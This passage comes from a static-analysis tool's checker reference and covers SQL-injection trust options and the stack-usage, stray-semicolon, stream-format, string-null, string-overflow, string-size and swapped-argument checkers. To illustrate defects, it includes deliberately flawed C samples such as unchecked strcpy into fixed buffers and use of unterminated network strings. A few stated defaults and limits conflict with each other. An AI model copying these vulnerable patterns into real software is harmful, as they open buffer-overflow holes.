causes the analysis to treat data received from the same mobile application as
though it is tainted. Defaults to
SQLI:trust_mobile_same_app:true.
Setting this checker option will override the global
--trust-mobile-same-app and
--distrust-mobile-same-app command line options.
SQLI:trust_mobile_user_input:<boolean> -
[Java and Swift only] Setting this option to
true causes the analysis to treat data obtained from user input as though it is
not tainted. Defaults to
SQLI:trust_mobile_user_input:false.
Setting this checker option will override the global
--trust-mobile-user-input and
--distrust-mobile-user-input command line options.
SQLI:trust_mobile_other_privileged_app:<boolean>
- [Java and Swift only] Setting this option to
false causes the analysis to treat data as tainted when the data is received
from any mobile application that requires a permission to communicate with the
current application component. Defaults to
SQLI:trust_mobile_other_privileged_app:true.
Setting this checker option will override the global
--trust-mobile-other-privileged-app and
--distrust-mobile-other-privileged-app command line
options.
SQLI:trust_command_line:<boolean> - [All
languages] Setting this option to false causes
the analysis to treat command line arguments as tainted. Defaults to
SQLI:trust_command_line:true.
Setting this checker option will override the global
--trust-command-line and
--distrust-command-line command line options.
SQLI:trust_console:<boolean> - [All
languages] Setting this option to false causes
the analysis to treat data from the console as tainted. Defaults to
SQLI:trust_console:true. Setting
this checker option will override the global --trust-console
and --distrust-console command line options.
SQLI:trust_cookie:<boolean> - [All languages]
Setting this option to false causes the
analysis to treat data from HTTP cookies as tainted. Defaults to SQLI:trust_cookie:false.
Setting this checker option will override the global
--trust-cookie and --distrust-cookie
command line options.
SQLI:trust_database:<boolean> - [All
languages] Setting this option to false causes
the analysis to treat data from a database as tainted. Defaults to
SQLI:trust_database:true. Setting
this checker option will override the global --trust-database
and --distrust-database command line options.
SQLI:trust_environment:<boolean> - [All
languages] Setting this option to false causes
the analysis to treat data from environment variables as tainted. Defaults to
SQLI:trust_environment:true. Setting
this checker option will override the global
--trust-environment and
--distrust-environment command line options.
SQLI:trust_filesystem:<boolean> - [All
languages] Setting this option to false causes
the analysis to treat data from the filesystem as tainted. Defaults to
SQLI:trust_filesystem:true. Setting
this checker option will override the global --trust-filesystem
and --distrust-filesystem command line options.
SQLI:trust_http:<boolean> - [All languages]
Setting this option to false causes the
analysis to treat data from HTTP requests as tainted. Defaults to
SQLI:trust_http:false. Setting this
checker option will override the global --trust-http and
--distrust-http command line options.
SQLI:trust_http_header:<boolean> - [All
languages] Setting this option to false causes
the analysis to treat data from HTTP headers as tainted. Defaults to
SQLI:trust_http_header:false.
Setting this checker option will override the global
--trust-http-header and
--distrust-http-header command line options in the
Coverity 2018.09 Command Reference.
SQLI:trust_js_client_cookie:<boolean> -
[JavaScript only] When this option is set to false, the analysis does not trust
data from cookies in client-side JavaScript code, for example from
document.cookie. This option was formerly called
trust_client_cookie. Defaults to
SQLI:trust_js_client_cookie:true.
SQLI:trust_js_client_external:<boolean> -
[JavaScript only] When this option is set to
false, the analysis does not trust data from the response to an
XMLHttpRequest or similar in client-side JavaScript code. Note:
this option was formerly called trust_external. Defaults to
SQLI:trust_js_client_external:false.
SQLI:trust_js_client_html_element:<boolean> -
[JavaScript only] When this option is set to
false, the analysis does not trust data from user input on HTML elements such as
textarea and input elements in client-side
JavaScript code. Defaults to
SQLI:trust_js_client_html_element:true.
SQLI:trust_js_client_http_header:<boolean>
- [JavaScript only] When this option is set to false, the analysis does not
trust data from HTTP response headers on the response to an
XMLHttpRequest or similar in client-side JavaScript code.
Defaults to
SQLI:trust_js_client_http_header:true.
SQLI:trust_js_client_http_referer:<boolean>
- [JavaScript only] When this option is set to false, the analysis does not
trust data from the 'referer' HTTP header (from document.referrer)
in client-side JavaScript code. Defaults to
SQLI:trust_js_client_http_referer:false.
SQLI:trust_js_client_other_origin:<boolean>
- [JavaScript only] When this option is set to false, the analysis does not
trust data from content in another frame or from another origin, for instance
from window.name, in client-side JavaScript code. Defaults to
SQLI:trust_js_client_other_origin:false.
SQLI:trust_js_client_url_query_or_fragment:<boolean>
- [JavaScript only] When this option is set to false, the analysis does not
trust data from the query or fragment part of the URL, for instance from
location.hash or location.query, in client-side
JavaScript code. Defaults to
SQLI:trust_js_client_url_query_or_fragment:false.
SQLI:trust_network:<boolean> - [All
languages] Setting this option to false causes
the analysis to treat data from the network as tainted. Defaults to
SQLI:trust_network:false. Setting
this checker option will override the global --trust-network
and --distrust-network command line options.
SQLI:trust_rpc:<boolean> - [All languages]
Setting this option to false causes the
analysis to treat data from RPC requests as tainted. Defaults to SQLI:trust_rpc:false.
Setting this checker option will override the global
--trust-rpc and --distrust-rpc command
line options.
SQLI:trust_servlet:<boolean> - [Deprecated] This option
is deprecated as of version 7.7.0 and will be removed from a
future release. Use trust_http
instead.
SQLI:trust_system_properties:<boolean> - [All
languages] Setting this option to false causes
the analysis to treat data from system properties as tainted. Defaults to
SQLI:trust_system_properties:true.
Setting this checker option will override the global
--trust-system-properties and
--distrust-system-properties command line options.
See the
corresponding command line options
to cov-analyze in the Coverity 2018.09 Command Reference.
C# and Visual Basic models and primitives (see Section 6.2, “Models and Annotations in C# or Visual Basic”) can improve analyses with this checker in the following case:
False negatives can occur when the analysis does not recognize sinks, which are
method parameters that are executed as SQL, or HQL queries. Tainted data must not
flow to such sinks due to the risk of an attacker subverting the database. If the
SQLI checker does not recognize a method parameter in your program as a sink, you
can model it as such. For more information, see the section
"Security.SqlSink(Object)" in Section 6.2.1.3, “C# and Visual Basic Primitives”. For example, the
following model makes the SQLI checker report a defect if tainted data flows into
the query parameter of the MyClass.ExecuteSql method:
public class MyClass {
void ExecuteSql(String query, boolean somethingElse, String unrelated) {
Coverity.Primitives.Security.SqlSink(query);
}
}Java models and annotations (see Section 6.3, “Models and Annotations in Java”) can improve analyses with this checker in the following cases:
If the analysis misses defects because it does not treat certain data
as tainted, see discussion of the @Tainted
annotation, and see Section 6.3.1.3, “Modeling Sources of Untrusted (Tainted) Data” for
instructions on marking method return values, parameters, and fields as
tainted. See also, Section 6.3.1.5, “Adding Assertions that Fields Are Tainted or Not Tainted ”.
If the analysis reports false positives because it treats a field as
tainted when you believe that tainted data cannot flow into that field,
see @NotTainted.
False negatives can occur when the analysis does not recognize sinks,
which are method parameters that are executed as SQL, HQL, or JPQL
queries. Tainted data must not flow to such sinks due to the risk of an
attacker subverting the database. If the SQLI checker does not recognize
a method parameter in your program as a sink, you can model it as such.
For more information, see Section 6.3.1.4, “Modeling Methods to which Tainted Data Must Not Flow (Sinks)”. For
example, the following model makes the SQLI checker report a defect if
tainted data flows into the query parameter of the
MyClass.executeSql method:
public class MyClass {
void executeSql(String query, boolean somethingElse, String unrelated) {
com.coverity.primitives.SecurityPrimitives.sql_sink(query);
}
}See also, Section 6.3.1.5, “Adding Assertions that Fields Are Tainted or Not Tainted ”.
Supported Languages: C, C++, Objective-C, Objective-C++
STACK_USE finds many instances of overall stack usage that exceeds a configurable maximum (default 250000 bytes), or of a single stack usage that exceed a configurable maximum (default 10000 bytes). Stack usage through indirection (function pointers) and recursion, direct or indirect, is not calculated. Instead, it can optionally report instances of these constructs as an aid to manual audits. The checker is appropriate only for code intended to run in embedded environments with limited stack space available, where exceeding the stack maximum can cause serious issues ranging from errant results to software or system crashes.
STACK_USE roughly models what most compilers will do in the worst stack allocation case. For example, it does not ascertain when registers might be used to save stack space. Upon entering a function, every local declaration is assumed to immediately consume space. The checker examines the stack space consumption for every function a function calls and adds the maximum of that set to the overall base function usage. The function's base stack usage is independent of any execution path through that function.
Despite being affected, STACK_USE will not propagate a function's overflow defects to its callers, either direct or indirect. Overflow defects are reported where they first occur.
Because this checker's need is specialized it does not
automatically run. To enable this checker, use the analysis option --enable
STACK_USE.
Some compilers might do unexpected things with stack allocations. For example, some versions of gcc appear to align all base allocations in a function according to the strictest alignment of any of them, rather than the lowest alignment boundary of the architecture. This type of variance is why control is given over the prologue usage and alignment assumptions on a global basis; this should be sufficient to model worst case estimates.
Disabled by default: STACK_USE is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
![]() | |
To report anything interesting, STACK_USE options need to be configured. See Section 4.198.3, “Options”. |
This section provides one or more STACK_USE examples.
The following example is shown in 2 code
listings. Note that each of the 4 functions shown uses 16 bytes of prologue stack space.
The total base stack usage for stack_use_callee() is 1044 bytes (16
plus 1024 plus 4). The total base stack usage for
stack_use_callee2() is 16400 bytes. The total base stack usage
for stack_use_callee3() is 20016 bytes.
void stack_use_callee1(void) {
char buf[1024]; // 1024 bytes of stack usage
char c; /* 4 bytes of stack usage,
1 byte promoted to 4
byte alignment requirement */
}
void stack_use_callee2(void) {
char buf[16384]; // Exceeds max single base use of 1024 bytes
}
void stack_use_callee3(void) {
char buf[20000]; // Exceeds max single base use of 1024 bytes
}
For stack_use_example() the total base stack usage is 16912 bytes
(16 plus 16384 plus 512). This amount is consumed as soon as the function is entered.
The total amount of stack space consumed for this function is the base usage plus the
largest usage of any callee: 16912 plus 20016 = 36298 bytes. This function overflows the
stack in the two calls to stack_use_callee2() and
stack_use_callee3(). Note that any callers of
stack_use_example() will not be reported
as overflowing the stack, unless they overflow the stack independently of this call as
well. Overflow defects are only reported where they actually occur.
void stack_use_example(void) {
char buf[16384]; // Exceeds max single base usage of 1024 bytes
if (/* condition */) {
stack_use_callee1(); // Temporarily consumes 1044 bytes
} else if (/* condition */) {
stack_use_callee2(); // Stack overflow: (16400 + 16912) > 32768
} else {
stack_use_callee3(); // Stack overflow: (20016 + 16912) > 32768
}
if (/* condition */) {
char another_buf[512]; // 512 bytes of stack usage
}
}This section describes one or more STACK_USE options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
STACK_USE:alignment_bytes:<num> - This option specifies the minimum allocation alignment
for objects on the stack. All stack allocations are promoted to a multiple of
this boundary. It must be a power of two (1 is allowed). The prologue usage is
also promoted to the nearest multiple of the alignment boundary if not
explicitly specified. Defaults to
STACK_USE:alignment_bytes:4
STACK_USE:max_single_base_use_bytes:<bytes> -
This option specifies the maximum number of
bytes allowed for a single stack allocation (for example, one local declaration)
before that allocation, by itself, will be reported as a defect. Any specified
value is promoted to a multiple of the alignment boundary. Defaults to
STACK_USE:max_single_base_use_bytes:10000
STACK_USE:max_total_use_bytes:<num> - This
option specifies the maximum number of
bytes allowed for total stack allocation before that aggregate allocation is
reported as a defect. Any specified value is promoted to a multiple of the
alignment boundary. Defaults to
STACK_USE:max_total_use_bytes:250000
STACK_USE:note_direct_recursion:<boolean> - When
this option is true, the checker reports a
defect whenever it sees a function that indirectly calls itself. This checker
does not include any stack usage in its calculations for recursive calls.
Defaults to
STACK_USE:note_direct_recursion:false
STACK_USE:note_indirection:<boolean> - When this
option is true, the checker reports a
defect when a function call through indirection (function pointers) is seen.
This checker does not include any stack usage in its calculations for indirect
calls. Defaults to
STACK_USE:note_indirection:false
STACK_USE:note_indirect_recursion:<boolean> - When
this option is true, the checker reports a
defect on each indirect recursion that it finds. This checker does not include
any stack usage in its calculations for recursive calls. Defaults to
STACK_USE:note_direct_recursion:false
STACK_USE:note_max_use:<boolean> - When this
option is true, the checker reports a
defect for the function with highest stack usage in the code base. Defaults to
STACK_USE:note_max_use:false
Stack usage of unimplemented functions, virtual functions, and function pointers is not included in this option, so actual stack usage may be higher. Also, this option does not work with recursive functions or incremental analysis.
STACK_USE:prologue_use_bytes:<bytes> - This
option specifies the amount of stack usage
added to any function that has any other stack usage (for example, a local
declaration). It must be zero or a power of two that is a multiple of the
alignment boundary. If the alignment boundary is not explicitly specified and is
not appropriate for the specified prologue usage, the alignment boundary will be
set to half of the prologue usage or 1, whichever is more. Defaults to
STACK_USE:prologue_use_bytes:16
STACK_USE:reuse_stack:<boolean> - When this
option is true, the checker assumes that
stack space is reused by non-overlapping scopes. Whether that is true or not
depends on the compiler and the optimization settings. Defaults to
STACK_USE:reuse_stack:false
For example, in the following code listing, the stack usage estimate will be
200 when the option is set to true, and 300 when set to
false.
{
char x[100];
}
{
char x[200];
}The STACK_USE checker supports a primitive called
__coverity_stack_depth__(max_memory). Use this
primitive in your source code to force STACK_USE to report defects when the function
(and its callees) uses more memory (in bytes) than that specified by the constant
integer max_memory.
This feature is useful for situations where threads are created with different stack sizes. The primitive should be used in the thread entry-point function.
In the following example, the checker does not report a defect by default because
16+1024+512 + 16+20000 is less than the default limit of
250000:
Note that this primitive is called from your source code, not from model source.
int condition;
void stack_use_example(void) {
char buf[1024];
if (condition) {
stack_use_callee1();
} else if (condition) {
stack_use_callee2();
} else {
stack_use_callee3();
}
if (condition) {
char another_buf[512];
}
}The checker will report such code as a defect if you add the following to your code:
#if __COVERITY__
__coverity_stack_depth__(16+1024+512 + 16+20000 - 1);
#endifNote that this primitive is not used by the native compiler, so it is necessary to declare it and specify conditional compiler elements, as shown in Section 6.1.6.1.13, “ __coverity_stack_depth__(max_memory) ”.
This section describes one or more events produced by the STACK_USE checker.
stack_use_local_overflow - A single local variable exceeded
the configured maximum stack size (default 1024 bytes).
stack_use_local - Each variable that adds to the cumulative
stack usage at the current program point is indicated with this event. If the
stack usage is computed incorrectly for a single variable, suppress the
accompanying instance of this event.
stack_use_return_overflow - If the return value from one
function is used as an argument to a second function, it contributes to the
stack size inside of the callee. This event is reported if the return value
overflows the stack.
stack_use_return - Tracks the stack size increase caused by
each return value that is used directly as an argument. Suppress this event if
any of the summations are incorrect.
stack_use_argument_overflow - The total size of a function's
arguments will overflow the stack.
stack_use_unknown - The stack usage could not be definitively
determined and should, therefore, be audited. Suppress this event if the audit
shows that the stack usage is correct.
stack_use_overflow - The accumulation of several variables
and call frames on the stack exceeds the configured maximum.
stack_use_callee_max - The function's call stack size, when
combined with the caller's, exceeds the configured maximum.
Supported Languages: C, C++, C#, Java, JavaScript, Objective-C, Objective-C++, PHP
STRAY_SEMICOLON finds instances where an extraneous semicolon alters the logic of the code. This checker does not warn about redundant semicolons that have no effect on the behavior of the code. Fixing such defects is usually a matter of deleting the extraneous semicolon.
These defects can have a broad range of effects. When an if statement is
prematurely terminated with a semicolon, the then portion which was
intended to be conditional will execute unconditionally. When a semicolon prematurely
terminates a while or for loop, the loop might iterate
infinitely or it might iterate pointlessly, followed by the intended body of the loop
that executes once, unconditionally.
A number of heuristics distinguish between extraneous and intentional semicolons. For
if statements, if the if has no then and no
else clause, it is a defect. The only exception to this behavior is if
there is a C/C++ macro that expands to nothing in the location that the
then clause is expected. In this case, it is assumed that the macro
conditionally expands either to a non-empty statement or nothing.
The rule for loops is more complicated, because loops with no bodies are common.
Generally speaking, a while or for loop will only be reported
if it is followed by a block (a “compound statement”) that is not justified for any
purpose other than serving as the loop’s intended body.
When used to analyze a C# code base, STRAY_SEMICOLON reports lock
statements with empty bodies in addition to the if, for, and
while statements that it reports when run on C/C++ and Java code
bases.
When used to analyze a PHP code base, the checker will also report cases where a
?> closing tag immediately after an if
conditional will cause the subsequent HTML, which was intended to be conditional, to be
displayed unconditionally.
Enabled by default: STRAY_SEMICOLON is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more STRAY_SEMICOLON examples.
In the following example, an if statement is followed by an extra
semicolon, which results in do_something_conditionally() being called
unconditionally:
if (condition);
do_something_conditionally(); In the following example, a while statement is followed by an extra
semicolon. The following block is executed only once, unconditionally, which might
result in a premature return from the function:
while (condition);
{
if (other_condition)
return;
/* advance the loop */
} In the following example, a defect is not reported, because although it has no
body, the for loop is self-contained and intentional, and the block
that follows it might plausibly exist to create a scope for
local_variable:
/* count the elements in list ‘head’ */
for (count = 0, p = head; p != 0; ++count, p = p->next)
;
{
int local_variable
/* … */
} In the following C/C++ example, when _NDEBUG is defined,
DPRINT expands to nothing, which results in the if
statement having no then clause. This is not reported because the
instance of the DPRINT macro occurs where the then clause
was expected and it is assumed that any macro that expands to nothing will, in some
configurations, expand to something else:
#ifndef _NDEBUG
#define DPRINT(x…) fprintf(stderr, x)
#else
#define DPRINT(x…)
#endif
if (condition)
DPRINT("condition is true\n");In the following C#; examples, field x in the "bad" method examples
is not protected by lock(myLock). Therefore, if two threads try to
execute one of these methods simultaneously, lock(myLock) will not
prevent them from entering the critical section at the same time. Such a condition
might cause the methods to erase each others work, perform tasks based on stale or
inconsistent data, or otherwise behave incorrectly. Troubleshooting the cause of
such an issue is difficult because the issue only occurs when two threads execute
one of these methods at the same time. The "good" method examples show correct uses
of the lock statement that are similar to the "bad" methods.
public class Test {
object myLock;
public int x;
public void bad1() {
lock(myLock); { //A STRAY_SEMICOLON defect here.
x++;
}
}
public void good1() {
lock(myLock) { //No STRAY_SEMICOLON defect here.
x++;
}
}
public void bad2() {
lock(myLock); //A STRAY_SEMICOLON defect here.
{
x++;
}
}
public void good2() {
lock(myLock) //No STRAY_SEMICOLON defect here.
{
x++;
}
}
public void bad3() {
lock(myLock); //A STRAY_SEMICOLON defect here.
x++;
}
public void good3() {
lock(myLock) //No STRAY_SEMICOLON defect here.
x++;
}
}function stray_semicolon(x) {
for (var i = 0; i < x; i++); { // STRAY_SEMICOLON here
something(i);
}
} STREAM_FORMAT_STATE finds many instances where the
formatting state of an ostream object is altered but not
restored. This can have unintended effects on formatted output to that stream after the
function returns.
The standard C++ iostream library provides input and output
functionality using streams. It includes a formatted output capability, so that data of
various types can be converted to a string for output purposes. For example:
cout << i;by default, converts the
i integer to a string of decimal digits and writes those digits to
cout.A common mistake when using the iostream library is to alter
the formatting state but forget to restore it. When altering the formatting state of a
global stream, such as cout, or a stream passed as a parameter, later users
of that stream unexpectedly have their formatting operations affected by the latent
state changes. This is a violation of the expected modularity of stream users.
You can change the formatting state of an ostream object by
using methods or manipulators. STREAM_FORMAT_STATE handles the flags,
setf, unsetf, precision, and
fill methods, as well as all of the standard manipulators, such as
std::hex.
![]() | |
The |
Enabled by default: STREAM_FORMAT_STATE is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more STREAM_FORMAT_STATE examples.
In the following example, i is
converted to a string as hexadecimal but not restored:
void oops1(int i)
{
cout << hex << i;
}
You can fix this defect as follows:
void corrected1(int i)
{
cout << hex << i << dec;
}In the following example, the precision of f is changed but not restored:
void oops2(ostream &os, float f)
{
os << setprecision(2) << f;
}This section describes one or more STREAM_FORMAT_STATE options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
STREAM_FORMAT_STATE:report_suspicious_setf_args:<boolean> -
When this C++ option is true, the checker
will report cases where it cannot properly interpret the mask that is passed to
setf and therefore cannot determine whether the code is
correct. Proper handling of setf (and unsetf) requires
understanding what bits are set in the argument mask. Defaults to
STREAM_FORMAT_STATE:report_suspicious_setf_args:false
STREAM_FORMAT_STATE:saver_class_regex:<regex> - This C++ option specifies a regular expression that
matches a class name. The checker will not report any unsaved settings for a
stream that is passed as the first argument of a constructor for a class whose
simple identifier (no qualifiers) matches (including substring match) this
regular expression. The purpose of this option is to handle cases where the
formatting flags are saved in a stack-allocated object that restores those flags
in its destructor. Defaults to
STREAM_FORMAT_STATE:saver_class_regex:saver$
This section describes one or more events produced by the STREAM_FORMAT_STATE checker.
format_changed - A format category is changed for the first
time along this path (or since the last flags call).
format_restored - A format category is changed for the second
time. This may appear in reports for a stream for which some other category was
not restored.
end_of_path - The end of path was reached with a category
having only been modified once.
suspicious_setf_mask - setf or
unsetf was called with a mask value that was not
recognized.
Supported Languages: C, C++, Objective-C, Objective-C++
STRING_NULL finds many cases where non-null-terminated strings (for example, a string contained in a network packet) are used unsafely.
Because they are pointers to blocks of characters in memory, it is imperative that
string arguments be null-terminated before functions manipulate them. When passed to
functions such as strlen(), non-null terminated strings can cause
looping or overflow defects.
Disabled by default: STRING_NULL is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Security checker enablement: To enable STRING_NULL
along with other security checkers, use the --security
option to the cov-analyze command.
This section provides one or more STRING_NULL examples.
This example reports a defect because the
name string is not null-terminated and is passed to
process_filename(), which searches name until it
finds a null terminator. If name lacks a null-terminator
process_filename() could potentially corrupt memory.
char *string_null_example() {
char name[1024];
char *extension;
string_from_net(fd, 1023, name); // read from net, no null-termination
if (x[0] != SOME_CHAR) {
extension = process_filename(name); // process until '\0' found
}
}
A quick fix for these type of defects is to null-terminate strings after reading them
in from a string null source such as string_from_net() and before
passing them to a string null sink such as
process_filename().
The following primitives are useful for custom models that can help STRING_NULL analysis.
This model indicates that custom_network_read() will return a
non null-terminated character array.
char *custom_network_read() {
return __coverity_string_null_return__();
}This model indicates that custom_packet_read() will assign
argument s to a character array possibly without
null-termination.
void custom_packet_read(char *s) {
__coverity_string_null_argument__(s);
}This model indicates that custom_string_replace() must be
protected from non null-terminated strings.
void custom_string_replace(char *s, char c, char x) {
__coverity_string_null_sink__(s);
}This model indicates that custom_varargs()'s argument 2 and
onward should be length-checked before being passed to
custom_vararg().
void custom_vararg(char *s, char *format, ...) {
__coverity_string_null_sink_vararg__(2);
}Rather than call __coverity functions directly in code, function
annotations can be expressed in comments with the following tags:
+string_null_return: Specifies that a function can return a
non null-terminated character array. For example, the following code specifies
that the custom_network_read() function returns a non
null-terminated character array:
// coverity[ +string_null_return ]
char* custom_network_read() {...}
+string_null_argument: Specifies that a function can assign
an argument to a non null-terminated character array. For example, the following
code specifies that the custom_packet_read() function assigns
a non null-terminated character array to its s
argument:
// coverity[ +string_null_argument : arg-0 ]
size_t custom_packet_read(char* s) {...}
+string_null_sink: Specifies that a function requires a
null-terminated string as an argument. For example, the following code specifies
that the custom_string_replace() function requires an
s string argument that is null-terminated:
// coverity[ +string_null_sink : arg-0 ]
void custom_string_replace(char* s) {...}
You can create a model without primitives to override inferred models and remove
improper use of non-terminated strings. You can suppress single defects with the
//coverity annotations.
STRING_NULL infers three different types of incorrect interprocedural information:
A string returned from a function can be non null-terminated.
A function can fill an argument with a non null-terminated string.
A potentially non null-terminated string is passed to a dangerous string null sink.
For example, suppose the function next_string(char *s) is
analyzed incorrectly and Coverity assumes that it stores a non-null-terminated string
into the argument s. In fact, you know that argument is always
null-terminated and next_string() should not be regarded as a
string null source. You can add the following model to the library to suppress this
false positive:
size_t next_string(char *s) {
size_t size_s;
return size_s;
}
This model indicates to the analysis that the function is not a
string null source.You can use the following annotation tags to indicate which function models to ignore:
-string_null_return: Specifies that a function does not
return a non null-terminated character array. For example, the following code
specifies that the custom_network_read() function does not
return a non null-terminated character array:
// coverity[ -string_null_return ]
char* custom_network_read() {...}
-string_null_argument: Specifies that a function cannot
assign an argument to a non null-terminated character array. For example, the
following code specifies that the custom_packet_read()
function does not assign a non null-terminated character array to its
s argument:
// coverity[ -string_null_argument : arg-0 ]
size_t custom_packet_read(char* s) {...}
-string_null_sink: Specifies that a function does not
require a null-terminated string as an argument. For example, the following code
specifies that the custom_string_replace() function does not
require an s string argument that is null-terminated:
// coverity[ -string_null_sink : arg-0 ]
void custom_string_replace(char* s) {...}
This section describes one or more events produced by the STRING_NULL checker.
string_null_return: A function that can return a non
null-terminated string.
string_null_argument: A function that can set an argument
to be a non null-terminated string.
tainted_data_transitive: A function that will transitively
taint a given interface (argument or return), based on the tainted status of an
argument.
string_null: Either a potentially non null-terminated
string has been passed to a string null sink or a potentially non
null-terminated string is used in the condition of a for/while loop that
searches for a terminating null character.
Supported Languages: C, C++, Objective-C, Objective-C++
STRING_OVERFLOW finds many cases where a string manipulation
function (for example, strcpy) might write past the end of the allocated
array. It determines this based on the sizes of the arrays involved at the call site to
the string manipulation function. It reports a defect if it finds a buffer copying
function where the source string is larger than the destination string. It issues a
warning for all other possible string overflows.
String overflows are one of the premier causes of C/C++ memory corruption and security vulnerabilities. Memory corruption occurs when memory outside the bounds of a string buffer is inadvertently overwritten. Buffer overruns are common because languages such as C and C++ are inherently unsafe : their string manipulation routines do not automatically perform bounds-checking, leaving it up to the programmer to perform this task.
STRING_OVERFLOW analyzes calls to the following functions:
strcpy, strcat
wcscpy, wcscat
StrCpy, StrCpyA, StrCpyW,
StrCat, StrCatA, StrCatW
OemToChar, OemToCharA, OemToCharW,
OemToAnsi, OemToAnsiA,
OemToAnsiW
_mbscpy, _mbscat, _tcscat,
_tcscpy
lstrcpy, lstrcpyA, lstrcpyW,
lstrcat, lstrcatA, lstrcatW
Disabled by default: STRING_OVERFLOW is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Security checker enablement: To enable STRING_OVERFLOW
along with other security checkers, use the --security
option to the cov-analyze command.
This section provides one or more STRING_OVERFLOW examples.
The following example flags a defect because,
for the strcpy() call, the source string is larger than the destination
string.
void string_overflow_example() {
char destination_buffer[256];
char source_buffer[1024];
...
strcpy(destination_buffer, source_buffer);
}
This section describes one or more STRING_OVERFLOW options.
You can set specific checker option values by passing them with --checker-option to the
cov-analyze command. For details, refer to the Coverity 2018.09 Command Reference.
STRING_OVERFLOW:report_fixed_size_dest:<boolean> - When
this option is true, the checker reports
defects if the destination size is known, but the source size is not (for
example, a pointer). These are potential overflows because the source could be
arbitrarily large and should be length checked before being passed to the copy
routine. When set to false, defects are not reported unless both
source and destination sizes are known. Defaults to
STRING_OVERFLOW:report_fixed_size_dest:true
Supported Languages: C, C++, Objective-C, Objective-C++
STRING_SIZE finds cases where a string manipulation
function (for example, strcpy) might write past the end of the allocated
array. It determines this by following a string from its tainted source, past any length
checking routines that might otherwise sanitize it, and to a trusted sink that does not
check the length itself. Unlike STRING_OVERFLOW, which also finds array overruns
involving strings, STRING_SIZE follows an interprocedural dataflow path from source
to sink rather than relying on information locally available at a string manipulation
call site. A STRING_SIZE defect can potentially cause buffer overflows, memory
corruption, and program crashes.
To fix this defect, you should either length-check strings of arbitrary length before
copying them into fixed size buffers, or use safe copying functions (for example:
strncpy() instead of strcpy()).
Disabled by default: STRING_SIZE is disabled by default.
To enable it, you can use the --enable option
to the cov-analyze command.
Security checker enablement: To enable STRING_SIZE
along with other security checkers, use the --security
option to the cov-analyze command.
This section provides one or more STRING_SIZE examples.
In the following example, if
gethostbyaddr() returns inauthentic DNS results, the
he->h_name field can be of arbitrary length. A size-check must be
performed to ensure it fits inside the addr buffer.
char *string_size_example() {
static char addr[100];
struct hostent *he;
he = gethostbyaddr(address, len, type);
strcpy(addr, he->h_name);
return addr;
}
You can use Coverity Analysis primitives to create custom models for STRING_SIZE.
The following model indicates that custom_string_return() returns
a string of arbitrary size and must be sanitized before a potentially dangerous
use:
string custom_string_return() {
return __coverity_string_size_return__();
}The following model indicates that custom_string_length()
correctly sanitizes s with respect to its length:
size_t custom_string_length(const char *s) {
size_t len;
__coverity_string_size_sanitize__(s);
return len;
}The following model indicates that custom_string_process() is a
string size sink with respect to argument s and must be protected
from arbitrarily large strings:
void *custom_string_process(const char *s) {
__coverity_string_size_sink__(s);
}The following model indicates that custom_varargs()'s argument 2
and onward should be sanitized before a call to
custom_vararg():
void custom_vararg(char *s, char *format, ...) {
__coverity_string_size_sink_vararg__(2);
}
Instead of using library models that call __coverity functions, you
can use function annotations in source code comments with the following tags:
+string_size_return: Specifies that a function returns a
string of arbitrary size. For example, the following code specifies that the
custom_string_return() function returns a string of
arbitrary size:
// coverity[ +string_size_return ]
char* custom_string_return() {...}
+string_size_sanitize: Specifies that a function sanitizes
a string argument. For example, the following code specifies that the
custom_string_length() function sanitizes
s:
// coverity[ +string_size_sanitize : arg-0 ]
size_t custom_string_length(char* s) {...}
+string_size_sink: Specifies that a function requires a
string whose length is sanitized as an argument. For example, the following code
specifies that the custom_string_process() function requires
an s string argument whose length is sanitized:
// coverity[ +string_size_sink : arg-0 ]
void *custom_string_process(char* s) {...}
You can create a model without Coverity Analysis primitives to overwrite inferred models. You can
suppress single defects using the //coverity annotations.
STRING_SIZE can infer three types of incorrect interprocedural information:
A string returned from a function can be arbitrarily large.
A function successfully sanitizes a given string.
A potentially large string is passed to a dangerous string size sink.
For example, suppose Coverity Analysis incorrectly analyzes the function
process_string(char *s) and assumes that its first argument is
ultimately passed to a string size sink such as strcpy(). If that
argument is, in fact, used only in a safe manner, process_string()
should not be regarded as a string size sink. To eliminate this false positive, you can
add the following model to the library:
size_t process_string(char *s) {
size_t size_s;
return size_s;
}This model indicates that the function should not be considered a string size sink.
You can use function annotations to ignore function models with the following tags:
-string_size_return: Specifies that a function does not
return a string of arbitrary size. For example, the following code specifies
that the custom_string_return() function does not return a
string of arbitrary size:
// coverity[ -string_size_return ]
char* custom_string_return() {...}
-string_size_sanitize: Specifies that a function does not
sanitize a string argument with respect to its length. For example, the
following code specifies that the custom_string_length()
function does not sanitize the length of its s string
argument:
// coverity[ -string_size_sanitize : arg-0 ]
size_t custom_string_length(char* s) {...}
-string_size_sink: Specifies that a function requires a
string whose length is not sanitized as an argument. For example, the following
code specifies that the custom_string_process() function does
not require an s string argument whose length is
sanitized:
// coverity[ -string_size_sink : arg-0 ]
void *custom_string_process(char* s) {...}
Supported Languages: C, C++, C#, Java, Objective-C, Objective-C++, and Visual Basic
SWAPPED_ARGUMENTS finds many instances in which the arguments to a function are provided in an incorrect order. The checker attempts to determine a correct ordering by comparing call arguments with the names of parameters in the definition of the function.
In Java, C#, and Visual Basic the checker is only able to report on calls to functions implemented in bytecode if debugging information is present and includes parameter names.
Enabled by default: SWAPPED_ARGUMENTS is enabled by default. For enablement/disablement details and options, see Section 1.3, “Enabling Checkers”.
This section provides one or more SWAPPED_ARGUMENTS examples.
The following example shows a defect due to the programmer assuming that the destination argument appears first.
void copy(int srcId, int dstId) { /* ... */ }
void test() {
int srcId = 1;
int dstId = 2;
copy(dstId, srcId); /* Defect: arguments are swapped. */
}
In this example, a defect is reported at the call to copy since the destination and source arguments were swapped.
class SwArguments {
void copy(object src, object dest) {
}
void bug() {
object src = null;
object dest = null;
copy(dest, src); /* Defect: arguments are swapped. */
}
}In this example, a defect is reported at the call to copy since the destination and source arguments were swapped.
Class SwappedArguments
Private Sub Copy(src As Object, dest As Object)
End Sub
Private Sub Example()
Dim src As Object = Nothing
